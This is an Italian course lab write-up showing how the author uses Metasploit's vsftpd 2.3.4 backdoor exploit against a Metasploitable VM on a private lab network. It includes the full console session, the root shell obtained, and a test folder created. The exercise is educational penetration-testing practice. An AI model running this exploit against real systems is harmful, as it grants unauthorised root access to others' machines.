

Esercitazione WEEK 15 D4

Hacking con Metasploit

Ettore Farris

Descrizione sintetica

Completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd». Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (`/`). Chiamate la cartella `test_metasploit`.

Svolgimento

Lanciamo metasploit con il comando `msfconsole` ed effettuiamo una ricerca per keyword `vsftpd`. Impostiamo l'IP della vittima e lanciamo l'exploit.

```
msf6 > search vsftpd

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    vsftpd 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      vsftpd v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.11.112:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.11.112:21 - USER: 331 Please specify the password.
[*] 192.168.11.112:21 - Backdoor service has been spawned, handling...
[*] 192.168.11.112:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.11.111:42657 -> 192.168.11.112:6200) at 2024-03-03 05:58:02 -0500

pwd
/
mkdir test_metasploit
```

Una volta ottenuta la shell, creiamo la cartella nella *root* di Metasploitable. Verifichiamo poi sulla macchina vittima l'effettiva creazione della cartella.

```
root@metasploitable:/home/msfadmin# pwd
/home/msfadmin
root@metasploitable:/home/msfadmin# cd ..
root@metasploitable:/home# cd ..
root@metasploitable:/# ls
bin          database_dump.sql  initrd        mnt          sbin          usr
boot         dev               initrd.img    nohup.out    srv           var
bot.sh       etc              lib           opt          sys           vmlinuz
cartella_1   file.txt         lost+found    proc         test_metasploit
cdrom        home            media         root         tmp
```